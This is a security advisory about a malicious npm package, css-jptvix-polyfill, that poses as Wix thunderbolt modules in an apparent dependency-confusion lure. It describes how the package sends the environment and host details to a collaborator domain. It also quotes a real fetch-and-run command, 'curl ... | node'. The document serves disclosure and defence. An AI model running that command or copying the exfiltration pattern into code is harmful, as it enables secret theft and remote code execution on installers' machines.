css-jptvix-polyfill

GHSA-m6m7-6f4x-c5v3

Malicious code in css-jptvix-polyfill (npm)

Details

**Severity:** Critical

**Affected versions:** `= 1.0.0`

## Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)
The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run `id`, `whoami`, `env`, and `ifconfig`/`ip addr`, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs `curl -L https://appsecc.com/js | node`, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch `reverse-shell`. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.

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Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/0b12573c4619a0868af801f8381d0628db5d4834/osv/malicious/npm/css-jptvix-polyfill/MAL-2026-17638.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/0b12573c4619a0868af801f8381d0628db5d4834/osv/malicious/npm/css-jptvix-polyfill/MAL-2026-17638.json
- https://www.npmjs.com/package/css-jptvix-polyfill/v/1.0.0
- https://github.com/ossf/malicious-packages/blob/8b1e8419e2081cb9c980f66e04153a96e394d2db/osv/malicious/npm/css-jptvix-polyfill/MAL-2026-17638.json
- https://github.com/advisories/GHSA-m6m7-6f4x-c5v3

Compromised versions (1)

= 1.0.0

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.